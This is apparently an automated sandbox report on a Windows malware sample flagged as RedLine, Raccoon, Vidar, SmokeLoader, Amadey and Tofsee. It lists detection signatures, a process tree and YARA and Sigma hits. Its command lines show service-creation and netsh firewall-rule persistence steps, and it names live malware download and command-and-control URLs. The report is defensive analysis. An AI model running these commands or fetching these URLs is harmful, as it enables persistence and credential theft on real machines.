Play interactive tour

Edit tour

Windows Analysis Report sbxGIUIhRd.exe

Overview

General Information

Sample Name:	sbxGIUIhRd.exe
Analysis ID:	553170
MD5:	f768f4a81e8b87d6990895a35b8d7d6c
SHA1:	d0e5c1e975ec41e222f99f7a235d85317a1be3a7
SHA256:	164149035d4a3d2edba76c0601f6f83e04d45d7c057d221130c57fc9b13fd5b5
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

Amadey Raccoon RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Sigma detected: Suspect Svchost Activity

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Sigma detected: Suspicious Svchost Process

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Checks if the current machine is a virtual machine (disk enumeration)

Writes to foreign memory regions

.NET source code references suspicious native API functions

Yara detected BatToExe compiled binary

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Modifies the windows firewall

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Modifies existing windows services

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Sigma detected: Netsh Port or Application Allowed

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Uses SMTP (mail sending)

Social media urls found in memory data

Found evaded block containing many API calls

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

sbxGIUIhRd.exe (PID: 6964 cmdline: "C:\Users\user\Desktop\sbxGIUIhRd.exe" MD5: F768F4A81E8B87D6990895A35B8D7D6C)

sbxGIUIhRd.exe (PID: 6984 cmdline: "C:\Users\user\Desktop\sbxGIUIhRd.exe" MD5: F768F4A81E8B87D6990895A35B8D7D6C)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

8A6B.exe (PID: 6760 cmdline: C:\Users\user\AppData\Local\Temp\8A6B.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 6812 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

95C6.exe (PID: 6844 cmdline: C:\Users\user\AppData\Local\Temp\95C6.exe MD5: F768F4A81E8B87D6990895A35B8D7D6C)

95C6.exe (PID: 6804 cmdline: C:\Users\user\AppData\Local\Temp\95C6.exe MD5: F768F4A81E8B87D6990895A35B8D7D6C)

CFE8.exe (PID: 4296 cmdline: C:\Users\user\AppData\Local\Temp\CFE8.exe MD5: E1AF41681888A847863EE17BD63450A0)

E2A6.exe (PID: 4752 cmdline: C:\Users\user\AppData\Local\Temp\E2A6.exe MD5: E4B33586BFDB5A9CD45F3038B8F4CCBD)

cmd.exe (PID: 5768 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\txlhcyih\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4692 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gaystiqf.exe" C:\Windows\SysWOW64\txlhcyih\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

extd.exe (PID: 5016 cmdline: C:\Users\user\AppData\Local\Temp\63DA.tmp\63DB.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" "" MD5: 139B5CE627BC9EC1040A91EBE7830F7C)

sc.exe (PID: 4044 cmdline: C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 2860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 240 cmdline: C:\Windows\System32\sc.exe" description txlhcyih "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 1740 cmdline: "C:\Windows\System32\sc.exe" start txlhcyih MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 2216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 6536 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 4620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

FA5C.exe (PID: 796 cmdline: C:\Users\user\AppData\Local\Temp\FA5C.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

FA5C.exe (PID: 1496 cmdline: C:\Users\user\AppData\Local\Temp\FA5C.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

7D38.exe (PID: 6752 cmdline: C:\Users\user\AppData\Local\Temp\7D38.exe MD5: 852D86F5BC34BF4AF7FA89C60569DF13)

96DB.exe (PID: 6404 cmdline: C:\Users\user\AppData\Local\Temp\96DB.exe MD5: 8B239554FE346656C8EEF9484CE8092F)

mjlooy.exe (PID: 6804 cmdline: "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" MD5: 8B239554FE346656C8EEF9484CE8092F)

A15C.exe (PID: 5412 cmdline: C:\Users\user\AppData\Local\Temp\A15C.exe MD5: 6E7430832C1C24C2BF8BE746F2FE583C)

conhost.exe (PID: 4296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6316 cmdline: C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\63DA.tmp\63DB.tmp\63DC.bat C:\Users\user\AppData\Local\Temp\A15C.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

svchost.exe (PID: 6228 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5420 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

adijaeg (PID: 6604 cmdline: C:\Users\user\AppData\Roaming\adijaeg MD5: F768F4A81E8B87D6990895A35B8D7D6C)

adijaeg (PID: 4204 cmdline: C:\Users\user\AppData\Roaming\adijaeg MD5: F768F4A81E8B87D6990895A35B8D7D6C)

svchost.exe (PID: 6976 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6868 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 6924 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6760 -ip 6760 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 4800 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

gaystiqf.exe (PID: 4588 cmdline: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d"C:\Users\user\AppData\Local\Temp\E2A6.exe" MD5: 6D07EFE4270BD10431D8E32CADCFF4E7)

svchost.exe (PID: 5288 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

adijaeg (PID: 7148 cmdline: C:\Users\user\AppData\Roaming\adijaeg MD5: F768F4A81E8B87D6990895A35B8D7D6C)

adijaeg (PID: 6424 cmdline: C:\Users\user\AppData\Roaming\adijaeg MD5: F768F4A81E8B87D6990895A35B8D7D6C)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.767064606.0000000000561000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000030.00000002.933969192.0000000000650000.00000040.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.719013921.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000030.00000002.934394338.00000000007C2000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
0000002E.00000003.893800912.00000000026D7000.00000004.00000040.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000029.00000002.932916871.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000027.00000002.933081162.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002B.00000002.871731514.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000002.921866016.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000026.00000002.979557466.0000000002360000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002B.00000003.859441391.00000000006B0000.00000004.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.809196350.0000000000630000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000005.00000000.706607181.0000000004DC1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000030.00000002.933631329.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000032.00000002.872943037.000000000063A000.00000004.00000020.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000032.00000002.873526703.0000000000AF0000.00000004.00000040.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000010.00000002.787707490.0000000002051000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000030.00000002.934464446.000000000081C000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000023.00000003.805779040.0000000000650000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000001.00000002.719027443.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000027.00000000.824314083.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000000.824767570.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000000.823843288.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000023.00000002.808208197.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000013.00000002.803426452.0000000000560000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000015.00000002.833273258.0000000003971000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002E.00000003.893714086.00000000026D0000.00000004.00000040.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000027.00000000.825252840.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000010.00000002.787566424.0000000002030000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000030.00000003.872732523.0000000000690000.00000004.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002E.00000003.893898519.00000000024E0000.00000004.00000040.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0000002C.00000002.920736016.0000000000530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000032.00000002.872792348.00000000005B0000.00000004.00000020.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000032.00000002.872879776.0000000000630000.00000004.00000020.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000013.00000003.785124178.0000000000580000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002B.00000002.872637287.0000000000650000.00000040.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000003.866964276.0000000004E90000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000000A.00000002.766964771.0000000000420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000023.00000002.809631719.0000000000850000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: CFE8.exe PID: 4296	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CFE8.exe PID: 4296	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: E2A6.exe PID: 4752	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: gaystiqf.exe PID: 4588	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: svchost.exe PID: 5288	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: FA5C.exe PID: 1496	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 43 entries

Unpacked PEs

Source	Rule	Description	Author
16.2.95C6.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
1.0.sbxGIUIhRd.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.E2A6.exe.560e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
39.0.FA5C.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.0.FA5C.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.0.FA5C.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.0.FA5C.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.0.sbxGIUIhRd.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.2.FA5C.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
38.2.svchost.exe.2360000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
35.3.gaystiqf.exe.650000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
19.3.E2A6.exe.580000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
16.0.95C6.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
10.1.adijaeg.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.2.FA5C.exe.3a8f910.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.0.sbxGIUIhRd.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
1.2.sbxGIUIhRd.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.E2A6.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
35.2.gaystiqf.exe.850000.2.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
35.2.gaystiqf.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
19.2.E2A6.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
35.2.gaystiqf.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.1.sbxGIUIhRd.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.2.95C6.exe.5615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.0.95C6.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.2.gaystiqf.exe.630e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
38.2.svchost.exe.2360000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
9.2.adijaeg.5615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.2.FA5C.exe.3a8f910.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.1.95C6.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.2.gaystiqf.exe.850000.2.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
16.0.95C6.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.sbxGIUIhRd.exe.5615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
10.2.adijaeg.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.FA5C.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 30 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d"C:\Users\user\AppData\Local\Temp\E2A6.exe", ParentImage: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe, ParentProcessId: 4588, ProcessCommandLine: svchost.exe, ProcessId: 5288

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gaystiqf.exe" C:\Windows\SysWOW64\txlhcyih\, CommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gaystiqf.exe" C:\Windows\SysWOW64\txlhcyih\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\E2A6.exe, ParentImage: C:\Users\user\AppData\Local\Temp\E2A6.exe, ParentProcessId: 4752, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gaystiqf.exe" C:\Windows\SysWOW64\txlhcyih\, ProcessId: 4692

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d"C:\Users\user\AppData\Local\Temp\E2A6.exe", ParentImage: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe, ParentProcessId: 4588, ProcessCommandLine: svchost.exe, ProcessId: 5288

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\E2A6.exe, ParentImage: C:\Users\user\AppData\Local\Temp\E2A6.exe, ParentProcessId: 4752, ProcessCommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, ProcessId: 6536

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\E2A6.exe, ParentImage: C:\Users\user\AppData\Local\Temp\E2A6.exe, ParentProcessId: 4752, ProcessCommandLine: C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 4044

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 00000029.00000002.932916871.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.866964276.0000000004E90000.00000004.00000001.sdmp, type: MEMORY

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://81.163.30.181/1.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.35/d2VxjasuwS/plugins/cred.dll	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\gaystiqf.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Avira: detection malicious, Label: HEUR/AGEN.1211353

Multi AV Scanner detection for submitted file

Show sources

Source: sbxGIUIhRd.exe	Virustotal: Detection: 36%			Perma Link
Source: sbxGIUIhRd.exe	ReversingLabs: Detection: 48%

Multi AV Scanner detection for domain / URL

Show sources

Source: http://185.215.113.35/d2VxjasuwS/index.php?scr=1

Virustotal: Detection: 12%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\7D38.exe	Metadefender: Detection: 34%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\7D38.exe	ReversingLabs: Detection: 76%

Machine Learning detection for sample

Show sources

Source: sbxGIUIhRd.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\adijaeg	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B3EB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\96DB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CF17.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A15C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BBBC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7D38.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C487.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\gaystiqf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Joe Sandbox ML: detected

Source: 18.3.CFE8.exe.650000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 19.2.E2A6.exe.560e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 18.2.CFE8.exe.630e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 38.3.svchost.exe.284d000.3.unpack	Avira: Label: TR/Patched.Gen
Source: 35.2.gaystiqf.exe.630e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
